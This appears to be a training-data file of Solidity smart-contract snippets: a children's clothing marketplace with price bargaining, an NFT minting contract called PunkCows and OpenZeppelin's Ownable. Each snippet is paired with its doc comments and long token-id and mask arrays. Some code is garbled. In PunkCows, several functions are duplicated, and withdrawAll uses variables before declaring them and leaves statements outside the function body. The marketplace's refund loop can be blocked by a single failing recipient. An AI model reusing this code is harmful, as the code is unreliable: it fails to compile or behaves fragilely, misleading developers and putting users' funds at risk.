require (clothing[clothId].state == State.SOLD);
_;
}
/// @notice Validates the shipped state
/// @param clothId The cloth id
modifier isShipped (uint clothId) {
require (clothing[clothId].state == State.SHIPPED);
_;
}
/// @notice Validates that the defined address made the function call
modifier verifyCaller (address caller) {
require (msg.sender == caller);
_;
}
/// @notice Validates that the payment was the same as the price
/// @param price The cloth price
modifier paidEnough (uint price) {
require (msg.value >= price);
_;
}
/// @notice Refunds if the payment was greater than the price
/// @param price The cloth price
modifier verifyExcessAmount (uint price) {
_;
uint refundValue = msg.value - price;
if (refundValue > 0) {
(bool _sent,) = msg.sender.call{value: refundValue}("");
require(_sent);
}
}
/// @notice LogEvent that triggers when a clothing was listed for sale
/// @param seller The address of the seller
/// @param clothCounter The counter of the clothes added
event LogListClothingForSale (address seller, uint indexed clothCounter);
/// @notice LogEvent that triggers when a new offer was made for a piece of clothing
/// @param clothId The cloth id
/// @param newPrice The offered price
event LogAddedBargain (address buyer, uint indexed clothId, uint newPrice);
/// @notice LogEvent that triggers an offer has been confirmed
/// @param buyer The address of the buyer
/// @param clothId The cloth id
/// @param confirmedPrice The confirmedPrice
event LogConfirmedNewPrice (address buyer, uint indexed clothId, uint confirmedPrice);
/// @notice LogEvent that triggers when a cloth has been bought
/// @param buyer The address of the buyer
/// @param clothId The cloth id
event LogClothingBought (address buyer, uint indexed clothId);
/// @notice LogEvent that triggers when a cloth has been shipped
/// @param seller The address of the seller
/// @param clothId The cloth id
/// @param trackingNumber The tracking number of the shipment service
event LogClothShipped (address seller, uint indexed clothId, string trackingNumber);
/// @notice LogEvent that triggers when a cloth has been received
/// @param buyer The address of the buyer
/// @param clothId The cloth id
event LogClothReceived (address buyer, uint indexed clothId);
/// @notice LogEvent that triggers when the owner calls a function
/// @param owner The address of the owner
event LogOwnerCall (address owner);
/// @dev Open zeppelin setup role for the contract owner, initialization of the chainlink data feed agregator
constructor () {
_setupRole(ADMIN_ROLE, msg.sender);
// Rinkeby data feed address 0x8A753747A1Fa494EC906cE90E9f37563A8AF630e
priceFeed = AggregatorV3Interface(0x8A753747A1Fa494EC906cE90E9f37563A8AF630e);
}
/// @notice It validates that the initial price is greater than zero
/// @param _name Title of the kid's cloth to sell
/// @param _initialPrice The initial price of the cloth
/// @param _description A little description of the condition of the clothing
/// @param _brand The cloth's brand
/// @param _recommendedAge The recommended age for this piece of clothing
/// @param _size The size of the cloth
/// @return The cloth counter
function listClothingOnSell (
string memory _name,
uint _initialPrice,
string memory _description,
string memory _brand,
string memory _recommendedAge,
Sizes _size
) public validPrice(_initialPrice) returns (uint) {
Cloth storage cloth = clothing[clothingCounter];
cloth.clothId = clothingCounter;
cloth.name = _name;
cloth.initialPrice = _initialPrice;
cloth.description = _description;
cloth.brand = _brand;
cloth.size = _size;
cloth.recommendedAge = _recommendedAge;
cloth.seller = payable(msg.sender);
cloth.state = State.LISTED;
clothingCounter = clothingCounter + 1;
emit LogListClothingForSale(msg.sender, clothingCounter);
return clothingCounter;
}
/// @dev There is a validation to limit the number of addresses for tempPriceAddresses
/// @param clothId The cloth id for the mapping
/// @param buyer The address of the potential buyer
function addAddressToTempPriceAddresses (uint clothId, address buyer) private {
bool inArray = false;
Cloth storage c = clothing[clothId];
require (c.tempPriceAddresses.length < BARGAIN_ADDRESS_LIMIT);
for (uint i = 0; i < c.tempPriceAddresses.length; i++) {
if (buyer == c.tempPriceAddresses[i]) {
inArray = true;
break;
}
}
if (!inArray) {
c.tempPriceAddresses.push(buyer);
}
}
/// @notice It validates a LISTED state, price > 0 and that the address can make an offer (the address is not seller)
/// @param clothId The cloth id for the mapping
/// @return True if no errors were thrown
function bargainClothingPrice (
uint clothId
) isListed(clothId) validPrice(msg.value) canBargain(clothing[clothId].tempPriceAddresses) public payable returns (bool) {
address payable potentialBuyer = payable(msg.sender);
Cloth storage c = clothing[clothId];
c.tempPrice[potentialBuyer] = msg.value;
c.tempPriceCounter += 1;
addAddressToTempPriceAddresses(clothId, msg.sender);
emit LogAddedBargain(potentialBuyer, clothId, msg.value);
return true;
}
/// @notice It validates the caller of the function is the seller, price > 0 and the state is LISTED
/// @param clothId The cloth id for the mapping
/// @param potentialBuyer The address of the potential buyer
/// @return True if no errors were thrown
function confirmNewClothingPrice (
uint clothId,
address payable potentialBuyer
) verifyCaller(clothing[clothId].seller) validPrice(clothing[clothId].tempPrice[potentialBuyer]) isListed(clothId) public payable returns (bool) {
Cloth storage c = clothing[clothId];
c.agreedPrice = c.tempPrice[potentialBuyer];
c.buyer = potentialBuyer;
c.state = State.SOLD;
(bool sent,) = c.seller.call{value: c.agreedPrice}("");
require (sent);
for (uint i = 0; i < c.tempPriceAddresses.length; i++) {
address a = c.tempPriceAddresses[i];
if (a != potentialBuyer) {
(bool _sent,) = a.call{value: c.tempPrice[a]}("");
require(_sent);
}
}
emit LogConfirmedNewPrice(c.buyer, clothId, c.agreedPrice);
return sent;
}
/// @notice It validates the payed amount is valid, the item is LISTED and if the amount payed is more than the price, a refund process is executed
/// @param clothId The cloth id for the mapping
/// @return True if no errors were thrown
function buyClothingOnSell (
uint clothId
) isListed(clothId) paidEnough(clothing[clothId].initialPrice) verifyExcessAmount(clothing[clothId].initialPrice) public payable returns (bool) {
Cloth storage c = clothing[clothId];
c.buyer = payable(msg.sender);
c.state = State.SOLD;
// transfer funds
(bool sent,) = c.seller.call{value: c.initialPrice}("");
require (sent);
emit LogClothingBought(msg.sender, clothId);
return sent;
}
/// @notice It validates the caller of the function (must be the seller) and that the cloth is Sold
/// @param clothId The cloth id for the mapping
/// @param trackingNumber The tracking number of the shipment service
function shipClothing (uint clothId, string memory trackingNumber) verifyCaller(clothing[clothId].seller) isSold(clothId) public {
Cloth storage c = clothing[clothId];
c.state = State.SHIPPED;
trackingNumbers[c.clothId] = trackingNumber;
emit LogClothShipped(c.seller, clothId, trackingNumber);
}
/// @notice It validates the caller (must be the buyer) and the cloth state (must be shipped)
/// @param clothId The cloth id for the mapping
function receiveClothing (uint clothId) verifyCaller(clothing[clothId].buyer) isShipped(clothId) public {
Cloth storage c = clothing[clothId];
c.state = State.RECEIVED;
emit LogClothReceived(c.buyer, clothId);
}
/// @param clothId The cloth id for the mapping
/// @return name Cloth name
/// @return brand Cloth brand
/// @return description Condition of the clothing
/// @return recommendedAge Recommended age for the clothing
/// @return initialPrice The initial listed price of the clothing
/// @return size The cloth size
/// @return seller The address of the seller that listed this cloth
/// @return buyer The address of the buyer of this cloth
/// @return state The status of the order
/// @return agreedPrice The accepted offer by the seller
/// @return tempPriceAddresses The addresses that made an offer to the clothes
function getClothingById (uint clothId) public view returns (
string memory name,
string memory brand,
string memory description,
string memory recommendedAge,
uint initialPrice,
Sizes size,
address seller,
address buyer,
State state,
uint agreedPrice,
address[] memory tempPriceAddresses
) {
name = clothing[clothId].name;
brand = clothing[clothId].brand;
description = clothing[clothId].description;
recommendedAge = clothing[clothId].recommendedAge;
initialPrice = clothing[clothId].initialPrice;
size = clothing[clothId].size;
seller = clothing[clothId].seller;
buyer = clothing[clothId].buyer;
state = clothing[clothId].state;
agreedPrice = clothing[clothId].agreedPrice;
tempPriceAddresses = clothing[clothId].tempPriceAddresses;
}
/// @param clothId The cloth id for the mapping
/// @param buyer The address of the buyer
/// @return suggestedPrice The offer made by the buyer
function getClothingTempPrice (uint clothId, address buyer) public view returns (uint suggestedPrice) {
suggestedPrice = clothing[clothId].tempPrice[buyer];
}
/// @param clothId The cloth id for the mapping
/// @return trackingNumber The trackin number for this order (if any)
function getTrackingNumber (uint clothId) public view returns (string memory) {
return trackingNumbers[clothId];
}
/// @dev A mock function that emulates the behavior of the chainlink data feed to get the usd price of eth
/// @return _roundID Data feed roundid
/// @return _price The usd price of eth
/// @return _startedAt Data feed started at
/// @return _timeStamp Data feed timestamp
/// @return _answeredInRound Data feed answeredInRound
function mockGetLatestPrice () public pure returns (uint80 _roundID, int _price, uint _startedAt, uint _timeStamp, uint80 _answeredInRound) {
_roundID = 36893488147419118515;
_price = 458505915949;
_startedAt = 1638293561;
_timeStamp = 1638293561;
_answeredInRound = 36893488147419118515;
return (_roundID, _price, _startedAt, _timeStamp, _answeredInRound);
}
/// @dev Chainlink data price call on Rinkeby tesnet
/// @return _roundID Data feed roundid
/// @return _price The usd price of eth
/// @return _startedAt Data feed started at
/// @return _timeStamp Data feed timestamp
/// @return _answeredInRound Data feed answeredInRound
function getLatestPrice() public view returns (uint80 _roundID, int _price, uint _startedAt, uint _timeStamp, uint80 _answeredInRound) {
(
uint80 roundID,
int price,
uint startedAt,
uint timeStamp,
uint80 answeredInRound
) = priceFeed.latestRoundData();
_roundID = roundID;
_price = price;
_startedAt = startedAt;
_timeStamp = timeStamp;
_answeredInRound = answeredInRound;
return (_roundID, _price, _startedAt, _timeStamp, _answeredInRound);
}
}
| @notice Validates that the sender is the owner | modifier isOwner () {
require (hasRole(ADMIN_ROLE, msg.sender), "Is not owner");
_;
}
| 6,460,872 | [
1,
9594,
716,
326,
5793,
353,
326,
3410,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
9606,
353,
5541,
1832,
288,
203,
565,
2583,
261,
5332,
2996,
12,
15468,
67,
16256,
16,
1234,
18,
15330,
3631,
315,
2520,
486,
3410,
8863,
203,
565,
389,
31,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/42/0x58D6128e8dE011E8d821d09A8431b9DA0405392e/sources/KlerosGovernor.sol | * @dev Gets the number of transactions in the list. @param _listID The index of the transaction list in the array of lists. @return txCount The number of transactions in the list./ | function getNumberOfTransactions(uint _listID) public view returns (uint txCount) {
Submission storage submission = submissions[_listID];
return submission.txs.length;
}
| 3,377,933 | [
1,
3002,
326,
1300,
434,
8938,
316,
326,
666,
18,
282,
389,
1098,
734,
1021,
770,
434,
326,
2492,
666,
316,
326,
526,
434,
6035,
18,
225,
327,
2229,
1380,
1021,
1300,
434,
8938,
316,
326,
666,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
14981,
14186,
12,
11890,
389,
1098,
734,
13,
1071,
1476,
1135,
261,
11890,
2229,
1380,
13,
288,
203,
3639,
2592,
3951,
2502,
8515,
273,
22071,
63,
67,
1098,
734,
15533,
203,
3639,
327,
8515,
18,
978,
87,
18,
2469,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0x76Db72708Bf5BB17EE0882387c4F1F8B2f3add14/sources/contracts/PunkCows.sol | * @title PunkCows Contract @dev Extends ERC721 Non-Fungible Token Standard basic implementation/ | contract PunkCows is ERC721, Ownable {
using SafeMath for uint256;
using Counters for Counters.Counter;
Counters.Counter private _tokenIdTracker;
string public PROVENANCE = "";
uint256 public totalSaleElement;
uint256 public mintPrice;
uint256 public maxByMint;
address public clientAddress;
address public devAddress;
bool public saleIsActive;
event CreatePunkCows(address indexed minter, uint256 indexed id);
modifier checkSaleIsActive() {
require(saleIsActive == true, "Sale is not active");
_;
}
constructor(address wallet1, address wallet2)
ERC721("PunkCows", "PunkCows")
{
totalSaleElement = 10080;
saleIsActive = false;
maxByMint = 30;
clientAddress = wallet1;
devAddress = wallet2;
}
function setMintPrice(uint256 newMintPrice) external onlyOwner {
mintPrice = newMintPrice;
}
function setMaxByMint(uint256 newMaxByMint) external onlyOwner {
maxByMint = newMaxByMint;
}
function setSaleStatus(bool saleStatus) external onlyOwner {
saleIsActive = saleStatus;
}
function setBaseURI(string memory baseURI) external onlyOwner {
_setBaseURI(baseURI);
}
function setProvenance(string memory _provenance) external onlyOwner {
PROVENANCE = _provenance;
}
function _totalSupply() internal view returns (uint256) {
return _tokenIdTracker.current();
}
function totalMint() public view returns (uint256) {
return _totalSupply();
}
function exists(uint256 _tokenId) public view returns (bool) {
return _exists(_tokenId);
}
function getTokensOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
uint256 tokenCount = balanceOf(_owner);
uint256[] memory tokenIdList = new uint256[](tokenCount);
for (uint256 i = 0; i < tokenCount; i++) {
tokenIdList[i] = tokenOfOwnerByIndex(_owner, i);
}
return tokenIdList;
}
function getTokensOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
uint256 tokenCount = balanceOf(_owner);
uint256[] memory tokenIdList = new uint256[](tokenCount);
for (uint256 i = 0; i < tokenCount; i++) {
tokenIdList[i] = tokenOfOwnerByIndex(_owner, i);
}
return tokenIdList;
}
function _mintAnElement(address _to) internal {
uint256 id = _totalSupply();
_tokenIdTracker.increment();
_safeMint(_to, id);
emit CreatePunkCows(_to, id);
}
function mintByUser(address _to, uint256 _amount)
public
payable
checkSaleIsActive
{
uint256 totalSupply = _totalSupply();
require(totalSupply <= totalSaleElement, "Presale End");
require(
totalSupply + _amount <= totalSaleElement,
"Max Limit To Presale"
);
require(_amount <= maxByMint, "Exceeds Amount");
require(mintPrice.mul(_amount) <= msg.value, "Low Price To Mint");
for (uint256 i = 0; i < _amount; i += 1) {
_mintAnElement(_to);
}
}
function mintByUser(address _to, uint256 _amount)
public
payable
checkSaleIsActive
{
uint256 totalSupply = _totalSupply();
require(totalSupply <= totalSaleElement, "Presale End");
require(
totalSupply + _amount <= totalSaleElement,
"Max Limit To Presale"
);
require(_amount <= maxByMint, "Exceeds Amount");
require(mintPrice.mul(_amount) <= msg.value, "Low Price To Mint");
for (uint256 i = 0; i < _amount; i += 1) {
_mintAnElement(_to);
}
}
function mintByOwner(address _to, uint256 _amount) external onlyOwner {
uint256 totalSupply = _totalSupply();
require(totalSupply <= totalSaleElement, "Presale End");
require(totalSupply + _amount <= totalSaleElement, "Max Limit To Presale");
for (uint256 i = 0; i < _amount; i += 1) {
_mintAnElement(_to);
}
}
function mintByOwner(address _to, uint256 _amount) external onlyOwner {
uint256 totalSupply = _totalSupply();
require(totalSupply <= totalSaleElement, "Presale End");
require(totalSupply + _amount <= totalSaleElement, "Max Limit To Presale");
for (uint256 i = 0; i < _amount; i += 1) {
_mintAnElement(_to);
}
}
function withdrawAll() public onlyOwner {
uint256 totalBalance = address(this).balance;
uint256 devAmount = totalBalance.mul(3000).div(10000);
uint256 clientAmount = totalBalance.sub(devAmount);
require(withdrawDev, "Withdraw Failed To Dev");
require(withdrawClient, "Withdraw Failed To Client.");
}
(bool withdrawDev, ) = devAddress.call{value: devAmount}("");
(bool withdrawClient, ) = clientAddress.call{value: clientAmount}("");
}
| 9,611,145 | [
1,
52,
1683,
39,
543,
87,
13456,
225,
6419,
5839,
4232,
39,
27,
5340,
3858,
17,
42,
20651,
1523,
3155,
8263,
5337,
4471,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
453,
1683,
39,
543,
87,
353,
4232,
39,
27,
5340,
16,
14223,
6914,
288,
203,
565,
1450,
14060,
10477,
364,
2254,
5034,
31,
203,
565,
1450,
9354,
87,
364,
9354,
87,
18,
4789,
31,
203,
203,
565,
9354,
87,
18,
4789,
3238,
389,
2316,
548,
8135,
31,
203,
203,
565,
533,
1071,
4629,
58,
1157,
4722,
273,
1408,
31,
203,
203,
565,
2254,
5034,
1071,
2078,
30746,
1046,
31,
203,
565,
2254,
5034,
1071,
312,
474,
5147,
31,
203,
565,
2254,
5034,
1071,
943,
858,
49,
474,
31,
203,
565,
1758,
1071,
1004,
1887,
31,
203,
565,
1758,
1071,
4461,
1887,
31,
203,
565,
1426,
1071,
272,
5349,
2520,
3896,
31,
203,
203,
565,
871,
1788,
52,
1683,
39,
543,
87,
12,
2867,
8808,
1131,
387,
16,
2254,
5034,
8808,
612,
1769,
203,
203,
203,
565,
9606,
866,
30746,
2520,
3896,
1435,
288,
203,
3639,
2583,
12,
87,
5349,
2520,
3896,
422,
638,
16,
315,
30746,
353,
486,
2695,
8863,
203,
3639,
389,
31,
203,
565,
289,
203,
203,
565,
3885,
12,
2867,
9230,
21,
16,
1758,
9230,
22,
13,
203,
3639,
4232,
39,
27,
5340,
2932,
52,
1683,
39,
543,
87,
3113,
315,
52,
1683,
39,
543,
87,
7923,
203,
565,
288,
203,
3639,
2078,
30746,
1046,
273,
2130,
3672,
31,
203,
3639,
272,
5349,
2520,
3896,
273,
629,
31,
203,
3639,
943,
858,
49,
474,
273,
5196,
31,
203,
203,
3639,
1004,
1887,
273,
9230,
21,
31,
203,
3639,
4461,
1887,
273,
9230,
22,
31,
203,
565,
289,
203,
203,
565,
2
] |
./partial_match/1/0x90D6D63261E51dfB6A24e37bb08D4E2e72Da1693/sources/MevSniper.sol | change the minimum amount of tokens to sell from fees | function updateThresholdSwapAmount(uint256 newAmount)
external
onlyOwner
returns (bool)
{
thresholdSwapAmount = newAmount;
return true;
}
| 3,563,519 | [
1,
3427,
326,
5224,
3844,
434,
2430,
358,
357,
80,
628,
1656,
281,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
1089,
7614,
12521,
6275,
12,
11890,
5034,
394,
6275,
13,
203,
3639,
3903,
203,
3639,
1338,
5541,
203,
3639,
1135,
261,
6430,
13,
203,
565,
288,
203,
3639,
5573,
12521,
6275,
273,
394,
6275,
31,
203,
3639,
327,
638,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
